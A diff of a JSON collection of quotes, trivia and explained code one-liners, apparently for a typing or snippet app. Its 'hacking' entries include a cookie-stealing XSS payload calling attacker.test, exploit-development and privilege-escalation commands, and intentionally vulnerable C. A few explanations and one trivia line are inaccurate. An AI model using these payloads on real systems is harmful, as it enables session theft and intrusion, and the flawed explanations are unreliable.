+    "content": "It is a truth universally acknowledged, that a single man in possession of a good fortune, must be in want of a wife. However little known the feelings or views of such a man may be on his first entering a neighbourhood, this truth is so well fixed in the minds of the surrounding families.",
+    "attribution": "Jane Austen, Pride and Prejudice"
   },
   {
-    "category": "literature",
-    "content": "It was the best of times, it was the worst of times.",
-    "attribution": "Charles Dickens, A Tale of Two Cities"
+    "category": "sysadmin",
+    "content": "strace -c -f -p $PID 2>&1 | tail -20",
+    "attribution": "Processes",
+    "language": "shell",
+    "explanation": "Traces the system calls a command makes, with a count and timing summary rather than a wall of output."
   },
   {
-    "category": "philosophy",
-    "content": "I think, therefore I am.",
-    "attribution": "Rene Descartes, Discourse on the Method"
+    "category": "hacking",
+    "content": "iptables -P INPUT DROP && iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT",
+    "attribution": "Defence",
+    "language": "shell",
+    "explanation": "Blocks everything inbound by default and allows what is needed back. A deny-by-default policy is the only kind worth writing."
   },
   {
-    "category": "quotes",
-    "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
-    "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+    "category": "technology",
+    "content": "Plan to throw one away; you will, anyhow.",
+    "attribution": "Fred Brooks, The Mythical Man-Month"
   },
   {
-    "category": "general",
-    "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built."
+    "category": "technology",
+    "content": "We shape our tools, and thereafter our tools shape us.",
+    "attribution": "Marshall McLuhan"
   },
   {
-    "category": "programming",
-    "content": "let total: i64 = values.iter().filter(|v| **v > 0).sum();",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "iter() borrows rather than consuming. The double deref is because filter hands you a reference to the iterator's own reference."
+    "category": "shell",
+    "content": "cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "uniq only collapses adjacent duplicates, which is why sort comes first. -c counts, and the second sort orders by that count."
   },
   {
-    "category": "hacking",
-    "content": "payload = b'A' * 72 + p64(0x401196) + p64(win_addr)",
-    "attribution": "Exploit dev",
-    "language": "python",
-    "explanation": "A cyclic pattern. Whatever four bytes end up in the instruction pointer tell you the exact offset to the return address."
+    "category": "science",
+    "content": "There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.",
+    "attribution": "Charles Darwin, On the Origin of Species"
   },
   {
-    "category": "sysadmin",
-    "content": "lsof +L1 2>/dev/null | awk '$7 > 100000000 {print $1, $7, $NF}'",
-    "attribution": "Disk",
-    "language": "shell",
-    "explanation": "Finds space held by deleted files that a process still has open. Deleting the file does not free the space until the handle closes."
+    "category": "quotes",
+    "content": "To be great is to be misunderstood.",
+    "attribution": "Ralph Waldo Emerson, Self-Reliance"
   },
   {
-    "category": "business",
-    "content": "In God we trust; all others must bring data.",
-    "attribution": "W. Edwards Deming"
+    "category": "shell",
+    "content": "comm -13 <(sort old.txt) <(sort new.txt)",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added."
   },
   {
-    "category": "general",
-    "content": "The Amazon rainforest produces roughly twenty percent of the oxygen found in the planet's atmosphere, earning it the nickname the lungs of the Earth."
+    "category": "business",
+    "content": "Every moment in business happens only once. The next Bill Gates will not build an operating system.",
+    "attribution": "Peter Thiel, Zero to One"
   },
   {
-    "category": "anime",
-    "content": "A heart's a heavy burden.",
-    "attribution": "Howl's Moving Castle"
+    "category": "business",
+    "content": "The real price of everything is the toil and trouble of acquiring it.",
+    "attribution": "Adam Smith, The Wealth of Nations"
   },
   {
-    "category": "anime",
-    "content": "Hard work is worthless for those that don't believe in themselves.",
-    "attribution": "Naruto"
+    "category": "movies",
+    "content": "Louis, I think this is the beginning of a beautiful friendship.",
+    "attribution": "Casablanca (1942)"
   },
   {
-    "category": "programming",
-    "content": "export async function load(url) { const res = await fetch(url); return res.json(); }",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "fetch resolves as soon as headers arrive, so .json() is a second await for the body. It does not throw on a 404 - check res.ok."
+    "category": "nature",
+    "content": "Nature is not a place to visit. It is home.",
+    "attribution": "Gary Snyder"
   },
   {
-    "category": "technology",
-    "content": "There is no code faster than no code.",
-    "attribution": "Kevlin Henney"
+    "category": "hacking",
+    "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
+    "attribution": "Web",
+    "language": "javascript",
+    "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
   },
   {
     "category": "history",
-    "content": "I have a dream that my four little children will one day live in a nation where they will not be judged by the colour of their skin.",
-    "attribution": "Martin Luther King Jr., 1963"
+    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty.",
+    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
   },
   {
-    "category": "general",
-    "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools."
+    "category": "sysadmin",
+    "content": "ssh -N -L 5432:127.0.0.1:5432 dbhost",
+    "attribution": "SSH",
+    "language": "shell",
+    "explanation": "Forwards a remote port to the local machine, so a service bound to localhost on the server is reachable here."
   },
   {
-    "category": "literature",
-    "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
-    "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
+    "category": "nature",
+    "content": "Tell me, what is it you plan to do with your one wild and precious life?",
+    "attribution": "Mary Oliver"
   },
   {
-    "category": "technology",
-    "content": "We are stuck with technology when what we really want is just stuff that works.",
-    "attribution": "Douglas Adams"
+    "category": "hacking",
+    "content": "libc.address = leak - libc.symbols['puts']",
+    "attribution": "Exploit dev",
+    "language": "python",
+    "explanation": "Leaks a libc address from the GOT, then rebases every other libc symbol off it. This is how ASLR is worked around rather than defeated."
   },
   {
-    "category": "quotes",
-    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal.",
-    "attribution": "Abraham Lincoln, The Gettysburg Address"
+    "category": "movies",
+    "content": "Toto, I've a feeling we're not in Kansas anymore.",
+    "attribution": "The Wizard of Oz (1939)"
   },
   {
-    "category": "sysadmin",
-    "content": "tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20",
-    "attribution": "Network",
-    "language": "shell",
-    "explanation": "Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read."
+    "category": "programming",
+    "content": "try: value = int(raw) except ValueError: value = 0",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
   },
   {
-    "category": "general",
-    "content": "A single bolt of lightning can heat the surrounding air to temperatures hotter than the surface of the sun. The rapid expansion of that superheated air is what produces the crack of thunder we hear moments later."
+    "category": "literature",
+    "content": "All we have to decide is what to do with the time that is given us.",
+    "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
   },
   {
-    "category": "general",
-    "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size."
+    "category": "technology",
+    "content": "A distributed system is one in which the failure of a computer you didn't know existed can render your own computer unusable.",
+    "attribution": "Leslie Lamport"
   },
   {
-    "category": "quotes",
-    "content": "It always seems impossible until it's done.",
-    "attribution": "Nelson Mandela"
+    "category": "history",
+    "content": "Power concedes nothing without a demand. It never did and it never will.",
+    "attribution": "Frederick Douglass, 1857"
   },
   {
-    "category": "nature",
-    "content": "In wildness is the preservation of the world.",
-    "attribution": "Henry David Thoreau, Walking"
+    "category": "shell",
+    "content": "awk '!seen[$0]++' file.txt",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "Deduplicate without sorting, preserving original order. The array records what has been seen; !seen[$0]++ is true only the first time."
   },
   {
-    "category": "sysadmin",
-    "content": "journalctl -u nginx -n 50 --no-pager -p err",
-    "attribution": "systemd",
-    "language": "shell",
-    "explanation": "Why a unit failed, without paging through the whole journal. -u scopes to the unit, -n limits the lines, --no-pager keeps it in the pipeline."
+    "category": "philosophy",
+    "content": "It's not what happens to you, but how you react to it that matters.",
+    "attribution": "Epictetus"
   },
   {
-    "category": "history",
-    "content": "Four score and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty.",
-    "attribution": "Abraham Lincoln, Gettysburg Address, 1863"
+    "category": "movies",
+    "content": "There's no crying in baseball.",
+    "attribution": "A League of Their Own (1992)"
   },
   {
     "category": "shell",
-    "content": "sed -e 's/#.*//' -e '/^[[:space:]]*$/d' /etc/ssh/sshd_config",
-    "attribution": "sed",
+    "content": "awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn",
+    "attribution": "awk",
     "language": "shell",
-    "explanation": "Deletes comments and blank lines, which is how you read a config that is mostly documentation."
+    "explanation": "A pattern before the block acts as a filter: only lines whose 9th field is 404 are printed. No grep needed."
   },
   {
-    "category": "science",
-    "content": "What you do makes a difference, and you have to decide what kind of difference you want to make.",
-    "attribution": "Jane Goodall"
+    "category": "nature",
+    "content": "There are some who can live without wild things, and some who cannot.",
+    "attribution": "Aldo Leopold, A Sand County Almanac"
   },
   {
-    "category": "sysadmin",
-    "content": "systemd-analyze blame | head -15",
-    "attribution": "systemd",
-    "language": "shell",
-    "explanation": "Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top."
+    "category": "programming",
+    "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
+    "attribution": "Go",
+    "language": "clike",
+    "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
   },
   {
-    "category": "philosophy",
-    "content": "Waste no more time arguing about what a good man should be. Be one.",
-    "attribution": "Marcus Aurelius, Meditations"
+    "category": "business",
+    "content": "It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.",
+    "attribution": "Adam Smith, The Wealth of Nations"
   },
   {
-    "category": "movies",
-    "content": "I'm gonna make him an offer he can't refuse.",
-    "attribution": "The Godfather (1972)"
+    "category": "literature",
+    "content": "1801. I have just returned from a visit to my landlord, the solitary neighbour that I shall be troubled with. This is certainly a beautiful country. In all England, I do not believe that I could have fixed on a situation so completely removed from the stir of society.",
+    "attribution": "Emily Bronte, Wuthering Heights"
   },
   {
-    "category": "quotes",
-    "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
-    "attribution": "Confucius"
+    "category": "hacking",
+    "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
+    "attribution": "Recon",
+    "language": "shell",
+    "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
   },
   {
-    "category": "programming",
-    "content": "pub struct Point { pub x: f64, pub y: f64 }",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
+    "category": "technology",
+    "content": "Technology is neither good nor bad; nor is it neutral.",
+    "attribution": "Melvin Kranzberg"
   },
   {
-    "category": "history",
-    "content": "I could work as much and eat as much as a man, when I could get it, and bear the lash as well. And ain't I a woman?",
-    "attribution": "Sojourner Truth, 1851"
+    "category": "movies",
+    "content": "You either die a hero, or you live long enough to see yourself become the villain.",
+    "attribution": "The Dark Knight (2008)"
   },
   {
-    "category": "programming",
-    "content": "const port = config.port ?? process.env.PORT ?? 8080;",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "?? falls back only on null or undefined, unlike ||, which also fires on 0 and the empty string."
+    "category": "literature",
+    "content": "You don't know about me without you have read a book by the name of The Adventures of Tom Sawyer, but that ain't no matter. That book was made by Mr. Mark Twain, and he told the truth, mainly.",
+    "attribution": "Mark Twain, Adventures of Huckleberry Finn"
   },
   {
-    "category": "nature",
-    "content": "Tell me, what is it you plan to do with your one wild and precious life?",
-    "attribution": "Mary Oliver"
+    "category": "shell",
+    "content": "awk '{bytes[$1] += $10} END {for (ip in bytes) print bytes[ip], ip}' access.log | sort -rn | head",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "Associative arrays are awk's real power. This sums bytes per IP in one pass, then END prints the totals once input is exhausted."
   },
   {
-    "category": "hacking",
-    "content": "cur.execute('SELECT * FROM users WHERE name = %s AND active = %s', (name, True))",
-    "attribution": "Defence",
-    "language": "python",
-    "explanation": "Parameterised queries send the values separately from the statement, so nothing the user types can become SQL."
+    "category": "science",
+    "content": "Extraordinary claims require extraordinary evidence.",
+    "attribution": "Carl Sagan, The Demon-Haunted World"
   },
   {
-    "category": "movies",
-    "content": "If you could see your whole life laid out in front of you, would you change things?",
-    "attribution": "Arrival (2016)"
+    "category": "science",
+    "content": "Science and everyday life cannot and should not be separated.",
+    "attribution": "Rosalind Franklin"
   },
   {
-    "category": "science",
-    "content": "In the fields of observation chance favours only the prepared mind.",
-    "attribution": "Louis Pasteur"
+    "category": "anime",
+    "content": "A heart's a heavy burden.",
+    "attribution": "Howl's Moving Castle"
   },
   {
-    "category": "general",
-    "content": "The Great Wall of China was not built all at once. It was constructed and extended over many centuries by different dynasties, each adding new sections and rebuilding older ones to defend against invasions from the north."
+    "category": "nature",
+    "content": "The earth does not belong to us. We belong to the earth.",
+    "attribution": "Chief Seattle"
   },
   {
-    "category": "shell",
-    "content": "make 2>&1 | tee build.log | grep -E 'error|warning'",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "tee writes to a file and passes the stream on, so you can log and keep processing in the same pipeline."
+    "category": "philosophy",
+    "content": "Waste no more time arguing about what a good man should be. Be one.",
+    "attribution": "Marcus Aurelius, Meditations"
   },
   {
-    "category": "shell",
-    "content": "tr -cs '[:alpha:]' '\\n' < book.txt | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn | head -20",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "The classic word-frequency pipeline: split to one word per line, fold case, sort so duplicates are adjacent, count runs, order by count."
+    "category": "history",
+    "content": "We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.",
+    "attribution": "John F. Kennedy, 1962"
   },
   {
-    "category": "shell",
-    "content": "diff <(sort a.txt) <(sort b.txt)",
-    "attribution": "Pipelines",
-    "language": "shell",
-    "explanation": "Process substitution gives two commands to diff as if they were files, without writing either to disk."
+    "category": "programming",
+    "content": "with open('data.csv', encoding='utf-8') as f: rows = [line.split(',') for line in f]",
+    "attribution": "Python",
+    "language": "python",
+    "explanation": "with closes the file even if the body raises. Iterating a file yields lines without loading it all into memory."
   },
   {
-    "category": "business",
-    "content": "It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest.",
-    "attribution": "Adam Smith, The Wealth of Nations"
+    "category": "programming",
+    "content": "pub struct Point { pub x: f64, pub y: f64 }",
+    "attribution": "Rust",
+    "language": "rust",
+    "explanation": "Fields are private by default in Rust, so each one needs its own pub - making the struct public does not publish its contents."
   },
   {
-    "category": "business",
-    "content": "If you are not embarrassed by the first version of your product, you have launched too late.",
-    "attribution": "Reid Hoffman"
+    "category": "anime",
+    "content": "Humankind cannot gain anything without first giving something in return. To obtain, something of equal value must be lost.",
+    "attribution": "Fullmetal Alchemist"
   },
   {
-    "category": "nature",
-    "content": "Nature is not a place to visit. It is home.",
-    "attribution": "Gary Snyder"
+    "category": "general",
+    "content": "Bananas are botanically classified as berries, while strawberries are not. The classification depends on how the fruit develops from the flower, not on taste or size."
   },
   {
     "category": "quotes",
-    "content": "If there is no struggle, there is no progress. Those who profess to favor freedom, and yet depreciate agitation, are men who want crops without plowing up the ground.",
-    "attribution": "Frederick Douglass"
+    "content": "The best way out is always through, and the only way through is to begin where you are standing right now.",
+    "attribution": "Robert Frost"
   },
   {
-    "category": "programming",
-    "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
-    "attribution": "Go",
-    "language": "clike",
-    "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
+    "category": "literature",
+    "content": "Not all those who wander are lost.",
+    "attribution": "J.R.R. Tolkien"
   },
   {
-    "category": "shell",
-    "content": "grep -oE '[0-9]{1,3}(\\.[0-9]{1,3}){3}' access.log | sort -u | wc -l",
-    "attribution": "Text processing",
-    "language": "shell",
-    "explanation": "grep -o prints only the match, one per line, which turns a search into a stream you can count."
+    "category": "technology",
+    "content": "You can't trust code that you did not totally create yourself.",
+    "attribution": "Ken Thompson, Reflections on Trusting Trust"
   },
   {
-    "category": "business",
-    "content": "Price is what you pay. Value is what you get.",
-    "attribution": "Warren Buffett"
+    "category": "quotes",
+    "content": "Whatever you are, be a good one.",
+    "attribution": "Abraham Lincoln"
   },
   {
     "category": "programming",
-    "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
-    "attribution": "C",
-    "language": "clike",
-    "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
+    "content": "git reflog --date=iso | head -20",
+    "attribution": "Git",
+    "language": "shell",
+    "explanation": "Recovers commits that are no longer reachable from any branch. A hard reset does not destroy them; it just stops pointing at them."
   },
   {
-    "category": "movies",
-    "content": "The greatest trick the devil ever pulled was convincing the world he didn't exist.",
-    "attribution": "The Usual Suspects (1995)"
+    "category": "business",
+    "content": "The essence of strategy is choosing what not to do.",
+    "attribution": "Michael Porter"
   },
   {
-    "category": "quotes",
-    "content": "To be great is to be misunderstood.",
-    "attribution": "Ralph Waldo Emerson, Self-Reliance"
+    "category": "business",
+    "content": "The purpose of business is to create and keep a customer.",
+    "attribution": "Peter Drucker"
   },
   {
-    "category": "science",
-    "content": "The great tragedy of science: the slaying of a beautiful hypothesis by an ugly fact.",
-    "attribution": "Thomas Huxley"
+    "category": "hacking",
+    "content": "printf(user_input); /* format string bug - should be printf(\"%s\", user_input) */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "An attacker-controlled format string. Every %x walks the stack; %n writes to it."
   },
   {
-    "category": "hacking",
-    "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
-    "attribution": "Recon",
-    "language": "shell",
-    "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
+    "category": "business",
+    "content": "It takes twenty years to build a reputation and five minutes to ruin it.",
+    "attribution": "Warren Buffett"
   },
   {
-    "category": "technology",
-    "content": "A ship in port is safe, but that's not what ships are built for.",
-    "attribution": "Grace Hopper"
+    "category": "general",
+    "content": "The quick brown fox jumps over the lazy dog."
   },
   {
     "category": "technology",
-    "content": "We have modified our environment so radically that we must now modify ourselves to exist in this new environment.",
-    "attribution": "Norbert Wiener"
+    "content": "Talk is cheap. Show me the code.",
+    "attribution": "Linus Torvalds"
   },
   {
-    "category": "hacking",
-    "content": "hashcat -m 0 -a 0 hashes.txt rockyou.txt --force",
-    "attribution": "Crypto",
+    "category": "sysadmin",
+    "content": "tar czf - /var/www | ssh backup 'cat > www-$(date +%F).tar.gz'",
+    "attribution": "Backup",
     "language": "shell",
-    "explanation": "An MD5 of a known-weak hash type. Modern password hashing exists because this takes seconds, not years."
+    "explanation": "Streams a directory to another host without a temporary archive on either side."
+  },
+  {
+    "category": "anime",
+    "content": "Don't believe in yourself. Believe in me who believes in you.",
+    "attribution": "Gurren Lagann"
   },
   {
     "category": "shell",
-    "content": "comm -13 <(sort old.txt) <(sort new.txt)",
+    "content": "ls *.png | xargs -P4 -I{} convert {} -resize 50% small/{}",
     "attribution": "Pipelines",
     "language": "shell",
-    "explanation": "comm compares two sorted files by column: -13 shows only lines unique to the second, which is the set that was added."
+    "explanation": "Runs a command per input line in parallel. -P4 keeps four running at once, and -I{} places each name where the braces are."
   },
   {
-    "category": "programming",
-    "content": "*counts.entry(word).or_insert(0) += 1;",
-    "attribution": "Rust",
-    "language": "rust",
-    "explanation": "entry().or_insert_with() looks the key up once. The obvious contains_key-then-insert hashes it twice."
+    "category": "business",
+    "content": "Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets.",
+    "attribution": "Clayton Christensen, The Innovator's Dilemma"
   },
   {
-    "category": "movies",
-    "content": "Your scientists were so preoccupied with whether or not they could, they didn't stop to think if they should.",
-    "attribution": "Jurassic Park (1993)"
+    "category": "sysadmin",
+    "content": "systemd-analyze blame | head -15",
+    "attribution": "systemd",
+    "language": "shell",
+    "explanation": "Ranks services by how long they delayed boot. The usual answer to a slow start is one unit near the top."
   },
   {
-    "category": "science",
-    "content": "There is grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.",
-    "attribution": "Charles Darwin, On the Origin of Species"
+    "category": "movies",
+    "content": "With great power comes great responsibility.",
+    "attribution": "Spider-Man (2002)"
   },
   {
-    "category": "business",
-    "content": "Disruptive technologies typically enable new markets to emerge, and they underperform established products in mainstream markets.",
-    "attribution": "Clayton Christensen, The Innovator's Dilemma"
+    "category": "programming",
+    "content": "for (int i = 0; i < n; i++) { sum += a[i] * b[i]; }",
+    "attribution": "C",
+    "language": "clike",
+    "explanation": "A dot product. The bound is < n, not <= n; off-by-one here reads past the end of the array."
   },
   {
     "category": "literature",
-    "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
-    "attribution": "Charles Dickens, A Tale of Two Cities"
+    "content": "Buck did not read the newspapers, or he would have known that trouble was brewing, not alone for himself, but for every tide-water dog, strong of muscle and with warm, long hair, from Puget Sound to San Diego.",
+    "attribution": "Jack London, The Call of the Wild"
+  },
+  {
+    "category": "hacking",
+    "content": "if not hmac.compare_digest(expected_sig, provided_sig): raise ValueError('bad signature')",
+    "attribution": "Defence",
+    "language": "python",
+    "explanation": "Constant-time comparison. A plain == returns early on the first differing byte, which leaks the answer through timing."
   },
   {
     "category": "shell",
-    "content": "for f in \"$@\"; do printf '%s\\n' \"${f%.*}\"; done",
-    "attribution": "Shell safety",
+    "content": "cut -f2 data.tsv | paste -sd, -",
+    "attribution": "Text processing",
     "language": "shell",
-    "explanation": "Quoting \"$@\" preserves each argument exactly, including ones containing spaces. Unquoted $@ splits them apart."
+    "explanation": "paste joins lines side by side; -s -d joins them all into one line with the chosen separator."
   },
   {
-    "category": "business",
-    "content": "The real price of everything is the toil and trouble of acquiring it.",
-    "attribution": "Adam Smith, The Wealth of Nations"
+    "category": "programming",
+    "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
+    "attribution": "C",
+    "language": "clike",
+    "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
   },
   {
     "category": "literature",
-    "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
-    "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
+    "content": "The Nellie, a cruising yawl, swung to her anchor without a flutter of the sails, and was at rest. The flood had made, the wind was nearly calm, and being bound down the river, the only thing for it was to come to and wait for the turn of the tide.",
+    "attribution": "Joseph Conrad, Heart of Darkness"
   },
   {
-    "category": "literature",
-    "content": "All we have to decide is what to do with the time that is given us.",
-    "attribution": "J.R.R. Tolkien, The Fellowship of the Ring"
+    "category": "nature",
+    "content": "The land is one great wild, untidy, luxuriant hothouse, made by nature for herself.",
+    "attribution": "Charles Darwin, The Voyage of the Beagle"
   },
   {
-    "category": "movies",
-    "content": "Toto, I've a feeling we're not in Kansas anymore.",
-    "attribution": "The Wizard of Oz (1939)"
+    "category": "business",
+    "content": "In God we trust; all others must bring data.",
+    "attribution": "W. Edwards Deming"
   },
   {
-    "category": "nature",
-    "content": "In nature nothing exists alone.",
-    "attribution": "Rachel Carson, Silent Spring"
+    "category": "shell",
+    "content": "awk '{print $1, $NF}' access.log",
+    "attribution": "awk",
+    "language": "shell",
+    "explanation": "awk splits each line into fields on whitespace. $1 is the first, $NF the last - so this prints the first and last column of every line."
   },
   {
-    "category": "movies",
-    "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
-    "attribution": "The Matrix (1999)"
+    "category": "science",
+    "content": "The greatest enemy of knowledge is not ignorance, it is the illusion of knowledge.",
+    "attribution": "Stephen Hawking"
   },
   {
     "category": "hacking",
-    "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
-    "attribution": "Memory safety",
-    "language": "clike",
-    "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
-  },
-  {
-    "category": "movies",
-    "content": "Oh, what a day. What a lovely day!",
-    "attribution": "Mad Max: Fury Road (2015)"
+    "content": "sudo -l 2>/dev/null | grep -E 'NOPASSWD|\\(ALL\\)'",
+    "attribution": "Post-exploitation",
+    "language": "shell",
+    "explanation": "Lists what the current user may run as root. A single entry with NOPASSWD is often the whole path to root."
   },
   {
-    "category": "movies",
-    "content": "All those moments will be lost in time, like tears in rain. Time to die.",
-    "attribution": "Blade Runner (1982)"
+    "category": "quotes",
+    "content": "If I have seen further, it is by standing on the shoulders of giants.",
+    "attribution": "Isaac Newton"
   },
   {
     "category": "sysadmin",
-    "content": "ls -l /proc/$PID/fd | head && cat /proc/$PID/wchan",
-    "attribution": "Processes",
+    "content": "tcpdump -ni any 'tcp[tcpflags] & tcp-syn != 0' -c 20",
+    "attribution": "Network",
     "language": "shell",
-    "explanation": "What a process is actually waiting on. Reading its file descriptors and stack says more than another look at top."
-  },
-  {
-    "category": "general",
-    "content": "A group of flamingos is called a flamboyance. The birds get their pink color from the pigments in the shrimp and algae they eat."
+    "explanation": "Captures the start of connections only. -n skips DNS lookups, which otherwise generate the traffic you are trying to read."
   },
   {
-    "category": "programming",
-    "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
-    "attribution": "Python",
-    "language": "python",
-    "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
+    "category": "movies",
+    "content": "If you build it, he will come.",
+    "attribution": "Field of Dreams (1989)"
   },
   {
-    "category": "nature",
-    "content": "Wilderness is not a luxury but a necessity of the human spirit.",
-    "attribution": "Edward Abbey, Desert Solitaire"
+    "category": "sysadmin",
+    "content": "0 3 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1",
+    "attribution": "Scheduling",
+    "language": "shell",
+    "explanation": "A cron entry that logs both streams. Without the redirect, cron mails the output to a mailbox nobody reads."
   },
   {
-    "category": "philosophy",
-    "content": "Every new beginning comes from some other beginning's end.",
-    "attribution": "Seneca, Letters from a Stoic"
+    "category": "anime",
+    "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
+    "attribution": "Hunter x Hunter"
   },
   {
-    "category": "movies",
-    "content": "A census taker once tried to test me. I ate his liver with some fava beans and a nice chianti.",
-    "attribution": "The Silence of the Lambs (1991)"
+    "category": "literature",
+    "content": "A throng of bearded men, in sad-colored garments and gray, steeple-crowned hats, intermixed with women, some wearing hoods, and others bareheaded, was assembled in front of a wooden edifice.",
+    "attribution": "Nathaniel Hawthorne, The Scarlet Letter"
   },
   {
     "category": "nature",
-    "content": "There are some who can live without wild things, and some who cannot.",
-    "attribution": "Aldo Leopold, A Sand County Almanac"
+    "content": "In nature nothing exists alone.",
+    "attribution": "Rachel Carson, Silent Spring"
   },
   {
-    "category": "science",
-    "content": "A new scientific truth does not triumph by convincing its opponents, but rather because its opponents eventually die.",
-    "attribution": "Max Planck"
+    "category": "shell",
+    "content": "find . -name '*.log' -print0 | xargs -0 grep -l 'ERROR'",
+    "attribution": "Pipelines",
+    "language": "shell",
+    "explanation": "xargs turns a stream of names into arguments. -0 with -print0 is what makes filenames containing spaces safe."
   },
   {
-    "category": "science",
-    "content": "The first principle is that you must not fool yourself, and you are the easiest person to fool.",
-    "attribution": "Richard Feynman"
+    "category": "movies",
+    "content": "If you could see your whole life laid out in front of you, would you change things?",
+    "attribution": "Arrival (2016)"
   },
   {
-    "category": "programming",
-    "content": "const [user, posts] = await Promise.all([getUser(id), getPosts(id)]);",
-    "attribution": "JavaScript",
-    "language": "javascript",
-    "explanation": "Promise.all runs them concurrently and rejects on the first failure; allSettled waits for every result instead."
+    "category": "sysadmin",
+    "content": "awk -F: '$7 !~ /(nologin|false)$/ {print $1, $7}' /etc/passwd",
+    "attribution": "Users",
+    "language": "shell",
+    "explanation": "Accounts with a real login shell, which is the set that can actually sign in."
   },
   {
-    "category": "shell",
-    "content": "awk -F, 'NF != 3 {print NR\": \"$0}' data.csv",
-    "attribution": "awk",
-    "language": "shell",
-    "explanation": "NR is the current line number, NF the field count. This finds malformed rows: any line that does not have exactly three fields."
+    "category": "technology",
+    "content": "Simplicity is prerequisite for reliability.",
+    "attribution": "Edsger Dijkstra"
   },
   {
     "category": "hacking",
-    "content": "find / -perm -4000 -type f 2>/dev/null",
-    "attribution": "Post-exploitation",
-    "language": "shell",
-    "explanation": "Finds setuid binaries. Anything unusual here runs as its owner no matter who executes it."
+    "content": "char buf[64]; strcpy(buf, argv[1]); /* no bound - argv[1] decides the write length */",
+    "attribution": "Memory safety",
+    "language": "clike",
+    "explanation": "The classic overflow: strcpy writes until it finds a NUL, buf holds 64 bytes, and nothing checks which is larger."
   },
   {
     "category": "anime",
-    "content": "You should enjoy the little detours to the fullest, because that's where you'll find the things more important than what you want.",
-    "attribution": "Hunter x Hunter"
+    "content": "Anywhere can be paradise as long as you have the will to live.",
+    "attribution": "Neon Genesis Evangelion"
   },
   {
-    "category": "anime",
-    "content": "Trees and people used to be good friends.",
-    "attribution": "My Neighbor Totoro"
+    "category": "programming",
